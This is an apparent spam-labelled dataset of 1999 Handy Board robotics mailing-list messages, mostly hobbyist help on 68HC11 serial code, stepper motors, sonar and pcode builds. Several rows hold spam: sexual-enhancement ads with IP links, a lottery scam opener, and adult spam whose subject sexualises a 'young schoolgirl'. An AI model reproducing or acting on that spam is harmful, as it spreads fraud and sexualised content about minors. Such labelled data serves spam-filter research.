even though it seems to work at first. For permanant bonds, Tenax X-7 works well, but be careful, use sparingly. C-A glues are OK if formulated for plastic (Zap, etc.) but also buy the surface prep/catalyst they sell for plastic models or you may be disappointed. Probably the best permanant glue is JB Weld, aka ""Ozark Wonder Glue"" ;), you can easily bond round things (motors) to flat things (Lego plates) with this stuff and the parts become as one. It is well known that after the giant asteroid hits the only things left will be cockroaches, AOL disks, and anything assembled with JB Weld. Buy it at the auto parts store. Brett Anthony Equipment Technician College of Engineering and Computer Science California State University, Sacramento Postal Mail: Brett Anthony CSUS, E&CS 6000 J St. Sacramento, CA 95819-6023 email: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 ",0,0 Chen Yung Hsu ,handyboard@media.mit.edu,"Mon, 01 Mar 1999 11:56:21 -0500",Re: Mindstorm hacking program,"I heard that someone at MIT created a program that can hack into and advance Lego mindstorm's computer. Does anyone know where i can find this site where i can download the program? =) chen ",0,0 Mike Jones ,"Chen Yung Hsu , handyboard@media.mit.edu","Mon, 01 Mar 1999 11:37:11 +0600",Re: Mindstorm hacking program,">I heard that someone at MIT created a program that can hack into and >advance Lego mindstorm's computer. Does anyone know where i can find this >site where i can download the program? You may want to start off by checking out: http://www.crynwr.com/lego-robotics/ Mike ",0,1 Mike Jones ,"Elliot Anderson , handyboard@media.mit.edu","Mon, 01 Mar 1999 11:41:27 +0600",,"> Has anyone hacked the sonar out of a sonar tape measure? Radio Shack >sells sonar tape measures for about $25.00, that's half the price of buying >the transducer and sensor together. > I mentioned in a previous posting that I am interested in running six >sonar sensors off of the parallel port of a PC. Therefore, the hack would >need to where I would connect to the parallel port from the measuring tape >board. Some time ago I did come across a site that talked about hacking a sonar tape measure. I can't remember where I saw it but I am confident that I had encountered it by searching ""sonar"" on one of the major search engines. You could be more specific by using ""sonar tape measure"". Mike ",0,0 """Russell, Casey"" ",handyboard@media.mit.edu,"Mon, 01 Mar 1999 14:22:08 -0500",serial communications,"I want to disconnect interactive C from the handy board and send instructions to it via the hyper terminal on Windows 95. I have followed the instructions given in the HB technical reference. I am confused as to the procedure for accomplishing my task. Once the code for receiving Characters is downloaded to the handy board what is my next step. When do I call the disable_pcode_serial() function and how do I utilize the serial_getchar(int c)? These are the steps that I have tried: 1. download given code on last page of manual. 2. call disable_pcode_serial() 3. turn off IC. 4. run hyper terminal, which connects to the HB through com port 2. As soon as I type in the hyper terminal the HB heart beat stops. I'm not using the serial_getchar(int c) command correctly can someone inform me of my blunder. Thanks, Casey ",0,0 Simon Schulz ,"""Russell, Casey"" , handyboard ","Mon, 01 Mar 1999 21:18:51 +0100",Re: serial communications,"some days ago i played with this too. i send you my files ... hope it helps ;) /* beginning of serial.c */ int char1; void disable_pcode_serial() /* necessary to receive characters using serial_getchar */ { poke(0x3c, 1); } void reenable_pcode_serial() /* necessary for IC to interact with board again */ { poke(0x3c, 0); } int serial_getchar() { while ((!(peek(0x102e) & 0x20))&&(!start_button())); /* wait for received character */ return peek(0x102f); } void serial_putchar(int c) { while (!(peek(0x102e) & 0x80)); /* wait until serial transmit empty */ poke(0x102f, c); /* send character */ } /* beginning of my work below !*/ void echo() { /* echo looks for a received char and sends it twice back */ disable_pcode_serial(); while (!start_button()) { char1=serial_getchar(); /* prints the actual char , the last char and the ascii numbers in brakes on screen */ printf(""Actual:%c(%d) Last:%c(%d)\\n"",char1,char1,char1,char1); serial_putchar(char1); serial_putchar(char1); } reenable_pcode_serial(); printf(""PCODE-SERiAL ENABLED!""); } /* end of file */ just check out the echo(); function . it waits for a send character (transmitted by hyper term win95) and sends it backk twice. hope i have no errors in the code, cause i rewrote it for you because i already modified my version. hope it helps ! bye, Simon ",0,0 Carlos Fernandez ,Handy Board ,"Mon, 01 Mar 1999 16:41:57 -0500",Bipolar Stepper Motors,"Hi, everyone. I was wondering if somebody could help me. I am trying to control a 2 phase bipolar stepper motor. I found a web page at : http://laguna.fmedic.unam.mx/~daniel/handy_bipolar.html that talks about controlling bipolar stepper motors. But I just can't seem to make it work. When I use the code from the page the motors just vibrates, move forward, backward and stop. The stepper motors have four wires. Brown +A, Red -A, Blue +B, Yellow -B. I connect them on the HB motor header: Brown, Skip,Red,Blue,Skip,Yellow With the stepper motors I received a paper that says: Step +A +B -A -B 1 + + - - 2 - + + - 3 - - + + 4 + - - + 5 + + - - I was not sure how to read this, but hey whats the worst that could happened.I wrote a small program trying to interpret this: void Stepper(void); int intSteps=30; int intStep; long lngDelay = 5L; for (intStep = 0; intStep < intSteps; intStep++) { /* step 1 */ fd(0); fd(1); msleep(lngDelay); /* step 2 */ fd(1); bk(0); msleep(lngDelay); /* step 3 */ bk(0); bk(1); msleep(lngDelay); /* step 4 */ fd(0); bk(1); msleep(lngDelay); /* step 5 */ fd(0); fd(1); } ao(); } The program does not work. The stepper motor does the same thing, it varibrates, moves forward a little, moves back a little and stops. If anybody could help me, I would really appreciate it. Thanks",0,1 Laszlo Roska ,Dperonne@aol.com,"Mon, 01 Mar 1999 17:53:56 -0500",Re: I have made a i2c routine for the handy board,"i would be interested. thanks Dperonne@aol.com wrote: > > Hello, > > You want to use the i2c bus (by the SPI connector) with your handy baord ? > > I have made a routine to use i2c component (PCF 8574, 8591.......) with the > handy board. > > Do you want it ? > > See you later. > Dperonne@aol.com ",0,0 Keith ,Carlos Fernandez ,"Mon, 01 Mar 1999 17:32:13 -0600",Re: Bipolar Stepper Motors,"First thing take an ohm meter and ""read"" your coils. From any wire you should have one other wire at a low resistance and two at a high resistance. This will first determine if you have it wired right. On my steppers the outside two form one coil and the inside two wires form the other. Lectro At 04:41 PM 3/1/99 -0500, you wrote: >Hi, everyone. I was wondering if somebody could help me. >I am trying to control a 2 phase bipolar stepper motor. >I found a web page at : >http://laguna.fmedic.unam.mx/~daniel/handy_bipolar.html >that talks about controlling bipolar stepper motors. But I just can't seem >to make it work. >When I use the code from the page the motors just vibrates, move forward, >backward and stop. > >The stepper motors have four wires. Brown +A, Red -A, Blue +B, Yellow -B. >I connect them on the HB motor header: Brown, Skip,Red,Blue,Skip,Yellow > >With the stepper motors I received a paper that says: > Step +A +B -A -B > 1 + + - - > 2 - + + - > 3 - - + + > 4 + - - + > 5 + + - - > >I was not sure how to read this, but hey whats the worst that could >happened.I wrote a small program trying to interpret this: > void Stepper(void); > int intSteps=30; > int intStep; > long lngDelay = 5L; > for (intStep = 0; intStep < intSteps; intStep++) { > /* step 1 */ > fd(0); > fd(1); > msleep(lngDelay); > /* step 2 */ > fd(1); > bk(0); > msleep(lngDelay); > /* step 3 */ > bk(0); > bk(1); > msleep(lngDelay); > /* step 4 */ > fd(0); > bk(1); > msleep(lngDelay); > /* step 5 */ > fd(0); > fd(1); > } > ao(); >} >The program does not work. The stepper motor does the same thing, it >varibrates, moves forward a little, moves back a little and stops. > >If anybody could help me, I would really appreciate it. > >Thanks > > > >",0,1 Will Bain ,Handyboard Mailing List ,"Mon, 01 Mar 1999 16:53:58 -0700",Re: Polaroid sonar problems,"Guy Berg wrote: > Our group is still struggling with the polaroid sonar. We can't get any > coherent reading, only readings that are in the range 470-515, which > aren't effected by the measured distance. > We have the capacitor and resistor installed as required. > We tried using a 150ms delay (instead of 50) and we average our > readings, we tried taking every tenth reading and displaying it, but > nothing seems to work. I assume that your sonar pings (makes a clicking sound). If so, then you may be getting a premature echo. You might try mounting the transducer in putty to absorb vibration. You could try lengthening the blanking interval to make sure that the ""echo"" is not just a reverberation of the ping; this requires hooking up the blanking pin of the sonar board to one of the unused digital outputs and sending it high for an adequate period of time. Note that if you want to use all four of the SPI pins as digital outs, you need to do a bit_set(0x1009, 0x3C) in the initialization instead of bit_set(0x1009, 0x30). (I assume you're executing sonar_init() prior to executing sonar_sample() ) Also, make sure you start off with the sonar code provided on the HB web site before you make any modification to it (I screwed it up a couple times myself, trying to improve it ;^) Other than that, just verify all your connections using a multimeter. Make sure that you have continuity between the echo pin on your Polaroid 6500 ranging module board (pin 7) and the sensor pin of HB input port 7 (the top pin of the three). I've seen dire warnings not to (A) plug in the ribbon cable backwards, and (B) try to ping without the transducer connected. I suppose there could be a fried chip somewhere, but without an oscilloscope it would be very difficult to find. Sorry I can't be more helpful :^( --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, The big thieves Will Bain, hang the little ones. & Tatoosh --Czech proverb ",0,0 Ted Mylenbusch ,handyboard@media.mit.edu,"Mon, 01 Mar 1999 20:18:26 -0500",RE: Polaroid sonar problems,"I also found that my neon light in my magnifying lens lamp caused erroneous readings. When I turned it off or moved it away the readings normalized (gave the correct results). Shielding wasn't effective in this instance. I did completely away with the ribbon cable supplied with the sonar kit. I installed 9-pin D connectors at each end and ran shielded 4 pair cable between the HB and the sonar board. I provided a separate power supply for the sonar system (4 - 1.2 volt cadmium) and located it close to the actual sonar. Thus eliminating the high current pulse and resultant magnetic field through the 4 pair cable. Hope this helps. Ted Mylenbusch amylen@worldnet.att.net > -----Original Message----- > From: Guy & Gad Berg [mailto:gberg@netvision.net.il] > Sent: Monday, March 01, 1999 4:16 AM > To: handyboard@media.mit.edu > Subject: Polaroid sonar problems > > > hi! > > Our group is still struggling with the polaroid sonar. We can't get any > coherent reading, only readings that are in the range 470-515, which > aren't effected by the measured distance. > We have the capacitor and resistor installed as required. > We tried using a 150ms delay (instead of 50) and we average our > readings, we tried taking every tenth reading and displaying it, but > nothing seems to work. > We know there are people out there who have succeeded! PLEASE, tell us > what you did. > Thanks. > Guy. > > ",0,0 Tonya ,'Maribel' ,"Mon, 01 Mar 1999 22:32:46 -0200",Increase Penis Size," Hi friend: We have quality product to help you Enjoy better sex life. All products offer 100% money back guarantee http://62.193.225.122/sm/ Increase your sperm vol by 500% guaranteed... http://62.193.225.122/ps/ Add 3inchs to your penis size or we refund ... http://62.193.225.122/et/ New formula enjoy sex longer procrustesg7890hjfdefshhgsahk ",1,1 Lamont Cummings ,handyboard@media.mit.edu,"Tue, 02 Mar 1999 02:46:17 -0100",Re:,"Need some love pi11s? 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Do I have to first compile the .asm file using a C compiler (Borland C) and then assemble it using an assembler? (as11) How should I go about doing that? Can someone help me out? Thanks. ~shannon ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Regan Russell ,"Mark Tan , handyboard@media.mit.edu","Tue, 02 Mar 1999 20:17:26 +1100",Re: .asm --> .s19,"There is an article in DDJ on the WOOKIE 68HC11 emulator in Mar 99... There are files in www.msoe.edu/eecs/ce/ceb/resources including GNUs gcc C compiler with a back end for 68HC11.. I think that it is targeted for the rug warrior. You may need to rework the backend.. I don't know if there is a GCC version for the HB and ic does not seem to support inline asm directives as far as I can tell. -Regan -----Original Message----- From: Mark Tan To: handyboard@media.mit.edu Cc: hcoe@hotmail.com Date: Tuesday, March 02, 1999 7:13 PM Subject: .asm --> .s19 >Hello > I made some changes to the pcode_hb.asm file (by Julian > Skidmore for the 100 steps PWM) and I need to compile/assemble > it into a .s19 file (pcode_hb.s19) before I can download > it onto the HandyBoard. > > It seems to me that I require both a C compiler and an >assembly language assembler as the .asm file contains more > than mere assembly language. Do I have to first compile the > .asm file using a C compiler (Borland C) and then assemble > it using an assembler? (as11) How should I go about doing > that? Can someone help me out? > > Thanks. > > ~shannon > >______________________________________________________ >Get Your Private, Free Email at http://www.hotmail.com",0,1 """SHETTI.NITIN.MANGESH"" ","""Russell, Casey"" ","Tue, 02 Mar 1999 15:23:58 -0500",Re: serial communications,"Dear Casey Russell, When pcode is disabled, the handy boards stops treating the data received on the serial port,in the manner the pcode wants it to. The bytes it receives through the com2 port is then just plain data for it. It should know what to do to the data. Hence there should be a receiving program on the hb to accept the data. The function serial_getchar() waits for the data coming through the serial port. When you ran Hyperterminal, I believe this function was not called. It must therefore have confused the hb. Write a program which disables the pcode, calls serial_getchar() and then enables the pcode, inorder for observing the working of these functions. Yours sincerely, Nitin On Mon, 1 Mar 1999, Russell, Casey wrote: > I want to disconnect interactive C from the handy board and send > instructions to it via the hyper terminal on Windows 95. I have > followed the instructions given in the HB technical reference. I am > confused as to the procedure for accomplishing my task. Once the code > for receiving Characters is downloaded to the handy board what is my > next step. When do I call the disable_pcode_serial() function and how > do I utilize the serial_getchar(int c)? > > These are the steps that I have tried: > 1. download given code on last page of manual. > 2. call disable_pcode_serial() > 3. turn off IC. > 4. run hyper terminal, which connects to the HB through com port 2. > As soon as I type in the hyper terminal the HB > heart beat stops. > > > I'm not using the serial_getchar(int c) command correctly can someone > inform me of my blunder. > > Thanks, > Casey > ",0,0 Mccann Ben ,handyboard@media.mit.edu,"Tue, 02 Mar 1999 02:45:07 -0500",sleep soundly and awake rested,"it commemorate on epistle it's aging and primp may freeze ",1,0 Shah Parag S ,handyboard@media.mit.edu,"Tue, 02 Mar 1999 19:36:06 -0500",Edit the gerber file !!!,"Hi.Anyone of u knows how to edit an image in GC-Prevue?The problem is that I cannot get the accurate negatives of the hb solder side,as there is a bit of shorting that occurs in the image file created by GC-Prevue for the exact resolution,whereas the magnified version doesn't show any shorts in GC-Prevue.PLEASE HELP!!!Thanx in advance. cheers, parag ",0,0 Jim Fong ,Mark Tan ,"Tue, 02 Mar 1999 10:02:51 -0500",Re: .asm --> .s19,"The original IC and pcode was originally written on a Unix machine. There are scripts and a makefile that simplify the compile procedure. I use a Linux PC to modify the pcode all the time. If you have access to one, download the original pcode source file from ftp://cherupakha.media.mit.edu/pub/projects/6270/interactive-c/source/pcode- 2.81-dist.tar.Z Un TAR the distribution, copy your modified pcode_hb.asm to pcode.asm and type make pcode_hb.s19 this will compile the source code to s19 format. You may need to compile a version of AS11 (the hc11 assembler) for your machine. You can download the source for that here ftp://cherupakha.media.mit.edu/pub/projects/6270/interactive-c/source/as11-s ources.tar.Z The C compiler you need is gcc and you can use the one that comes with Linux. It is needed a pre-process the #INCLUDE lines in the source code. If you don't have access to a Linux/Unix box or the above is just greek to you, I created a distribution of the Skidmore source code to compile under MSDOS. You can pick up a copy from my web site at www.hooked.net/~jfong goto Design and Ideas and download pcodepc2.zip. I added Kent Farnsworth PCODE_PC.ZIP modifications to Julian Skidmores version of the pcode so it will compile correctly under MSDOS. (Many thanks to Kent for doing the original port to MSDOS) Make your code changes to the pcode.asm file instead of your version of the pcode_hb.asm. Pcode.asm version has the necessary #INCLUDE lines added so it will compile right. You may also want to download the floating point division fix ( math11routines.asm file located on the same page). Copy this version over the one found in pcodepc2.zip. regards, Jim Fong At 11:55 PM 3/1/99 PST, you wrote: >Hello > I made some changes to the pcode_hb.asm file (by Julian > Skidmore for the 100 steps PWM) and I need to compile/assemble > it into a .s19 file (pcode_hb.s19) before I can download > it onto the HandyBoard. > > It seems to me that I require both a C compiler and an >assembly language assembler as the .asm file contains more > than mere assembly language. Do I have to first compile the > .asm file using a C compiler (Borland C) and then assemble > it using an assembler? (as11) How should I go about doing > that? Can someone help me out? > > Thanks. > > ~shannon > >______________________________________________________ >Get Your Private, Free Email at http://www.hotmail.com > > ",0,1 Kaitlyn Nunnally ,handyboard@media.mit.edu,"Tue, 02 Mar 1999 06:05:17 -0500",The REAL Diet Deal,"it's harmful or retort the depression and annette try coriolanus ",1,0 ruizvic@mx1.ibm.com,handyboard@media.mit.edu,"Tue, 02 Mar 1999 09:15:58 -0700",Re: I have made a i2c routine for the handy board,"I would be interested too, thanks in advance... :-) Victor G. Ruiz Aranda ruizvic@mx1.ibm.com Coordinador ASCA/IAS Planta de Manufactura T/L 877-7306. Ph Number 011-523-669-7306 I/T (Information Technology) Guadalajara, Jal. Mexico. Laszlo Roska on 03/01/99 04:53:56 PM Please respond to Laszlo Roska To: Dperonne@aol.com cc: handyboard@media.mit.edu (bcc: Victor Ruiz/Mexico/IBM) Subject: Re: I have made a i2c routine for the handy board i would be interested. thanks Dperonne@aol.com wrote: > > Hello,> > You want to use the i2c bus (by the SPI connector) with your handy baord ? > > I have made a routine to use i2c component (PCF 8574, 8591.......) with the > handy board. > > Do you want it ? > > See you later. > Dperonne@aol.com",0,0 Jonathan Swaby ,"handyboard@media.mit.edu, Robot Board ","Tue, 02 Mar 1999 13:21:02 -0500",wireless communication,"After reading some of the discussions about wireless communications, I remembered an article from Nuts and Volts ( http://www.nutsvolts.com ) May 1998. The title of the article is ""Naked Data"", Explore the power of wireless data communications using inexpensive off-the-shelf hardware. The article was written by Ryan Sheldon (http://members.aol.com/ncdcat). The article discusses using RF and IR as a 1200bps serial data link. The article shows schematics for some of the IR devices. The RF devices used are from MING (http://www.ming-micro.com/). Digi-Key carries their products, and the cost for a transmitter and receiver total less that 25.00. I have not tried the products but it seems like a good place to start experimenting. I know 1200Bps is not very fast, but some users might find that data rate acceptable. Also, this would be a one-way link. Jonathan Swaby Computer Services Specialist IV Student Affairs Georgia Institute of Technology 404-894-5889 ",0,1 """Colin A. Reed"" ",Jonathan Swaby ,"Tue, 02 Mar 1999 11:09:15 -0800",Re: wireless communication,"for RF communications, I recommend Linx Technologies http://www.linxtechnologies.com/ They sell seperate transmitters, receivers, and antennas. For two-way communication, you would need two pairs, so the price is around $30 for a bidirectional link. They have speed ranges from 5kbps to 50kbps. I've used their LC parts with the helical antennas and the work great. The only problem is that they seem to want you to buy the eval kit for a particular part before they will sell you additional units, and that's pretty expensive and pretty useless. The parts are all self contained with the only RF pin being the antenna, so as long as you mount the antenna close by, you don't need to worry about special design. I mounted the LCs (which are surface mount) on a pc board, but for the other parts, the datalines should be able to handle wirewrapping, though I would solder in the power and antenna connections and put a bypass cap on the power. You don't wont to recieve ""RF"" signals from your microcontroller. On Tue, 2 Mar 1999, Jonathan Swaby wrote: > After reading some of the discussions about wireless communications, I > remembered an article from Nuts and Volts ( http://www.nutsvolts.com ) May > 1998. The title of the article is ""Naked Data"", Explore the power of > wireless data communications using inexpensive off-the-shelf hardware. The > article was written by Ryan Sheldon (http://members.aol.com/ncdcat). The > article discusses using RF and IR as a 1200bps serial data link. The > article shows schematics for some of the IR devices. The RF devices used > are from MING (http://www.ming-micro.com/). Digi-Key carries their > products, and the cost for a transmitter and receiver total less that > 25.00. I have not tried the products but it seems like a good place to > start experimenting. I know 1200Bps is not very fast, but some users might > find that data rate acceptable. Also, this would be a one-way link. > > > Jonathan Swaby > Computer Services Specialist IV > Student Affairs > Georgia Institute > of Technology > > 404-894-5889 > ",0,1 Kam Leang ,handyboard ,"Tue, 02 Mar 1999 12:45:32 -0700",Re: wireless communication,"I'm glad you mentioned the Nuts & Volts article, ""Naked Data""! I've used the MING microdevices RF transmitter and receiver units with success! The 1200 bps isn't fast but great for small projects such as mobile robots. I used the MING RF units with the botboard and was able to get a range of about 75' without an antenna! I haven't interfaced the RF units with the Handy Board yet, but plan to soon for a robot project involving multiple agents in a few weeks. I'm working on some form of social behavior and control between multiple robots. I'll post my results if anyone is interested. Also, I have pictures of my robot projects using the MING RF units on my website at http://www.mech.utah.edu/~kleang BTW the Digikey part numbers are: TX-99V3-ND and RX-99V3-ND and at about $20 per set, you can go wrong! --kam On Tue, 2 Mar 1999, Jonathan Swaby wrote: -->After reading some of the discussions about wireless communications, I -->remembered an article from Nuts and Volts ( http://www.nutsvolts.com ) May -->1998. The title of the article is ""Naked Data"", Explore the power of -->wireless data communications using inexpensive off-the-shelf hardware. The -->article was written by Ryan Sheldon (http://members.aol.com/ncdcat). The -->article discusses using RF and IR as a 1200bps serial data link. The -->article shows schematics for some of the IR devices. The RF devices used -->are from MING (http://www.ming-micro.com/). Digi-Key carries their -->products, and the cost for a transmitter and receiver total less that -->25.00. I have not tried the products but it seems like a good place to -->start experimenting. I know 1200Bps is not very fast, but some users might -->find that data rate acceptable. Also, this would be a one-way link. --> --> -->Jonathan Swaby -->Computer Services Specialist IV -->Student Affairs -->Georgia Institute --> of Technology --> -->404-894-5889 --> \\\\\\|/// ( ) \\ @ @ / *-----------oooO--(_)--Oooo------------* | Kam Leang | | University of Utah | | Department of Mechanical Engineering | | MEB Room 2202 | | Salt Lake City, Utah 84112 | | (801) 581-3140 Fax: (801) 585-9826 | | http://www.mech.utah.edu/~kleang | *-----------------------Oooo-----------* oooO ( ) ( ) ) / \\ ( (_/ \\_) ",0,1 NATIONAL EMAIL AWARD , WINNER ,"Tue, 02 Mar 1999 20:08:47 +0200",INTERNATIONAL PROMOTION DEPT.,"FROM: THE DIRECTOR OF PROMOTIONS INTERNATIONAL PROMOTION DEPT. SECURITY FILE NO:DL/678921/C11. REF: ICL/4245678609/LMR. BATCH: ML/91663/BAN. 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Since the expansion board requires a new lib_hb.c and the > smooth PWM routines require a different lib_hb.c and pcode_hb.s19, can > we have both expansion board and smooth PWM together? > > John Schneekltoh > > ",0,0 doug@knowpeace.com,michaelj@wt.net,"Wed, 03 Mar 1999 00:34:40 -0800",Re: ,"Maybe this would be of some use wrt hacking the RS tape measures ... http://www.cs.uwa.edu.au:80/~mafm/robot/rs-tape-measure.html Doug Mike wrote: >Has anyone hacked the sonar out of a sonar tape measure? Radio Shack >sells sonar tape measures for about $25.00, that's half the price of buying >the transducer and sensor together. ",0,1 Charles Hacker EAS ,handyboard@media.mit.edu,"Wed, 03 Mar 1999 19:37:19 +1000",Updated HandyBoard Machine Code Programming System,"Hello All, Due to requests, from the HandyBoard list and from students in my Microprocessor subject, I have updated the Editor / Compiler / Download (HandyBD.EXE) on my site. http://132.234.46.5/Programs (Note: I have not yet updated the Buffalo Monitor routines) The new program has the following improvements: 1. It is now 32Bit code (Win95, 98, NT code, (Win3 not supported) 2. The Editor no longer has the 32k limit on Text file sizes. Limited only by memory. 3. The external Assembler Program can be user selected. 4. The Terminal program now includes the ability to download the initial Buffalo monitor. (That is; Perform the function of DL.EXE or HBDL.EXE) Code thanks to: Vadim Gerasimov of the MIT Media Laboratory 5. Tool bars and Speed buttons have been included. 6. Bug fixes. Charles Hacker Lecturer in Electronics, Computing and Physics School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 5594 8670 Fax.(07) 5594 8065 ",0,1 """K. F. MacDorman"" ",handyboard@media.mit.edu,"Wed, 03 Mar 1999 18:48:02 +0900",wireless modem," Has anyone tried to control the handyboard using a wireless modem (e.g., as a slave to control a mobile robot)? If so, what kind of modem, and what issues needed to be dealt with? (Please e-mail directly to me since I'm not on the list.) Best wishes, Karl ",0,0 Stefano Falconetti ,handyboard@media.mit.edu,"Wed, 03 Mar 1999 11:15:57 +0100",wookie file viewer," Excuse me, can anyone suggest me where to find a wookie viewer for s.19 files ? Thanks to everyone. Stefano ",0,0 Bernadine Ramos ,handyboard@media.mit.edu,"Wed, 03 Mar 1999 21:05:38 -0400",dear Young Schoolgirl so stunning and younng.," bewitching russiaan Bitches ! http://tvgameplay.info/fpwf.htm?iSPhfd.fX,hj U-N-$-U-B-$-CC-R-I-B-E http://tvgameplay.info ",1,1 Hans Venema ,handyboard@media.mit.edu,"Wed, 03 Mar 1999 12:34:21 +0100",Where to buy handyboard PCB,"Hi there, I plan to build my own handyboard, so I need to buy the components. I already know all the necessary components, but I have trouble getting the handyboards Printed Circuit Board and the Interface/charger Printed Circuit Board. I already tried to let the PCB's be made from the drawings (which are available on the internet), but here in the Netherlands its very difficult. So does anybody know how I can buy the PCB's through the internet, without requiring to have a creditcard? Or is there someone from the Netherlands, who already knows where to get the PCB's and all related components? PLEASE HELP ME!!!!!!!! Hans Venema Conex Software Solutions j.venema@wing.rug.nl ",0,0 Stefano Falconetti ,handyboard@media.mit.edu,"Wed, 03 Mar 1999 13:24:19 +0100",Java and 68hc11," Hi, do anyone know something interesting about java virtual machine porting on 68hc11? And do you know if is it possible to write some high level code for the controller using Java ? (Maybe for some low level routines c is needed). ",0,0 Carlos Fernandez ,"""Daniel Kornhauser (Comp)"" ","Wed, 03 Mar 1999 09:22:09 -0500",Re: Stepper Motors,"I purchase the motors from Jameco. I connected the stepper motors on the motor headers. From left to right ( left meaning next to the RJ jack ) in this sequence: Brown, Skip,Red,Blue,Skip,Yellow. What do you mean by the pattern in the LED's ? -----Original Message----- From: Daniel Kornhauser (Comp) To: Carlos Fernandez Date: Tuesday, March 02, 1999 8:54 AM Subject: Re: Stepper Motors > > >On Mon, 1 Mar 1999, Carlos Fernandez wrote: > >> Hi, am just getting started with the Handy Board. I was wondering if you >> could help me. I am trying to control some stepper motors. The steppers >> are 2 phase bipolar stepper motors. I connected them just like you said in > >Where did you get your motors from ???? > >> your page, but when I tell them to move they don't. They move forward and >> backward and tremble then stop. > >This could be caused by : > >1 Incorect wiring >2 You trying to move them to fast... > > >> >> This stepper motors have four wires. Brown +A, Red -A, Blue +B, Yellow -B. > >This aren't exactly my colors :-(. >I think The A means that the Brown and Red are in the same coil ?? > >> >> I connect them : >> Brown, Skip,Red,Blue,Skip,Yellow. > >In what pins do you conect them ??? > >> >> With the stepper motors I received a paper that says: >> >> Step +A +B -A -B >> >> 1 + + - - >> 2 - + + - >> 3 - - + + >> 4 + - - + >> 5 + + - - >> >> I was not sure how to read this, but hey whats the worst that could >> happened. > >Well it seems clear that A+ And A- are in a same coil because they are >allways in oposite potencials... >Did you check that the patern you generate with the leds in you handy >board ??? > >> I wrote a small program trying to interpret this: >> >> void Stepper(void); >> int intSteps=30; >> int intStep; >> lng lngDelay = 5L; >> for (intStep = 0; intStep < intSteps; intStep++) { >> /* step 1 */ >> fd(0); >> fd(1); >> msleep(lngDelay); >> /* step 2 */ >> fd(1); >> bk(0); >> msleep(lngDelay); >> /* step 3 */ >> bk(0); >> bk(1); >> msleep(lngDelay); >> /* step 4 */ >> fd(0); >> bk(1); >> msleep(lngDelay); >> /* step 5 */ >> fd(0); >> fd(1); >> } >> ao(); >> } >> >> The program does not work. The stepper motor does the same thing, it >> varibrates, moves forward a little, moves back a little and stops. > >Sorry I don't remember what patern does fd and bk generate in the output >of the handy board. >But with the information you have on you motor the job does not appear >dificult, you just have to try bk(0), bk(1), fd(0) and fd(1) and see what >patern they generate and mach it with the specification you gave me above. >Notest that steps 1 and 5 are the same, so you should have a 4 diferent >paterns, the same that generates bk and fd.... > >> >> If you could give me any help I would really appreciate it. > >Hope I could help, you job seem fairly easy, you just have to try to find >the solution a little more. And try to find an other motor to play with >there is plenty of broken floppys. Sometimes the step motor can just be >broken.... > >> >> Thanks > De nada.... > > > Daniel Korhauser > >",0,0 Carlos Fernandez ,Handy Board ,"Wed, 03 Mar 1999 09:26:04 -0500",Re: Java and 68hc11,"Check-out the Skiff project at : http://www.crl.research.digital.com/projects/skiff/ They seem to be using Java on a 68hc11 board. ",0,1 Stefano Falconetti ,Carlos Fernandez ,"Wed, 03 Mar 1999 15:30:54 +0100",Re: Java and 68hc11,"Interesting ! Another cool site is http://members.xoom.com/simpleRTJ/home.html where a JVM for the 68hc11 can be downloaded with all the instructions about it If someone of you likes Java, this can be quite nice. Bye Stefano ---------- > From: Carlos Fernandez > To: Stefano Falconetti > Cc: > Subject: Re: Java and 68hc11 > Date: 03 March 1999 15:17 > > Check-out the Skiff project at : > http://www.crl.research.digital.com/projects/skiff/ > > They seem to be using Java on a 68hc11 board. > > > -----Original Message----- > From: Stefano Falconetti > To: handyboard@media.mit.edu > Date: Wednesday, March 03, 1999 7:55 AM > Subject: Java and 68hc11 > > > > > > > >Hi, > > do anyone know something interesting about java virtual machine porting on > >68hc11? > > And do you know if is it possible to write some high level code for the > >controller using > > Java ? (Maybe for some low level routines c is needed). > > > > > >",0,1 Keith ,Hans Venema ,"Wed, 03 Mar 1999 08:38:00 -0600",Re: Where to buy handyboard PCB," Try Douglas Electronics http://www.douglas.com/hardware/pcbs/handyboard.html lectro At 12:34 PM 3/3/99 +0100, you wrote: >Hi there, > >I plan to build my own handyboard, so I need to buy the components. I >already know all the necessary components, but I have trouble getting the >handyboards Printed Circuit Board and the Interface/charger Printed >Circuit Board. I already tried to let the PCB's be made from the drawings >(which are available on the internet), but here in the Netherlands its >very difficult. >So does anybody know how I can buy the PCB's through the internet, without >requiring to have a creditcard? Or is there someone from the Netherlands, >who already knows where to get the PCB's and all related components? >PLEASE HELP ME!!!!!!!! > > >Hans Venema >Conex Software Solutions >j.venema@wing.rug.nl ",0,1 Brian Palmer ,Carlos Fernandez ,"Wed, 03 Mar 1999 10:20:26 -0500",Re: Java and 68hc11 (Skiff)," Actually, the Skiff uses a StrongARM SA110 processor. The board was used this year by MIT's 6.270 robotics course in place of the 6811 design. I haven't heard how the new design worked out. Maybe someone on this list has some details (?) - Brian Carlos Fernandez wrote: > > Check-out the Skiff project at : > http://www.crl.research.digital.com/projects/skiff/ > They seem to be using Java on a 68hc11 board. -- Brian J Palmer Phone: (401) 848-3527 _\\|/_ BBN Systems & Technologies Email: bpalmer@bbn.com {@ @} 4 John Clarke Road Middletown, RI 02842-5202 ==ooO=(_)=Ooo=============================================================== ",0,1 """Fred G. Martin"" ",Carlos Fernandez ,"Wed, 03 Mar 1999 10:36:45 -0500",Re: Java and 68hc11 ,"The Skiff board actually built around a 200 mhz StrongARM processor (acquired from DEC). Fred In your message you said: > Check-out the Skiff project at : > http://www.crl.research.digital.com/projects/skiff/ > They seem to be using Java on a 68hc11 board. > > > ",0,1 """Ganio, Giuseppe (AFS-Warren)"" ","""'handyboard@media.mit.edu'"" ","Wed, 03 Mar 1999 10:40:06 -0500",3 used HB," I have 3 Gleason Research Handyboard for PC (GRHB-PC) that I would like to sell for half price or less. Mint conditions , I still have all the boxes. I have finished my project succesfully. Does anybody have a suggestion where to sell used handyboards? Should I try Ebay.com? ",0,0 Duncan Orthner ,handyboard@media.mit.edu,"Wed, 03 Mar 1999 11:07:21 -0500",Re: Skiff board? ,"At 10:36 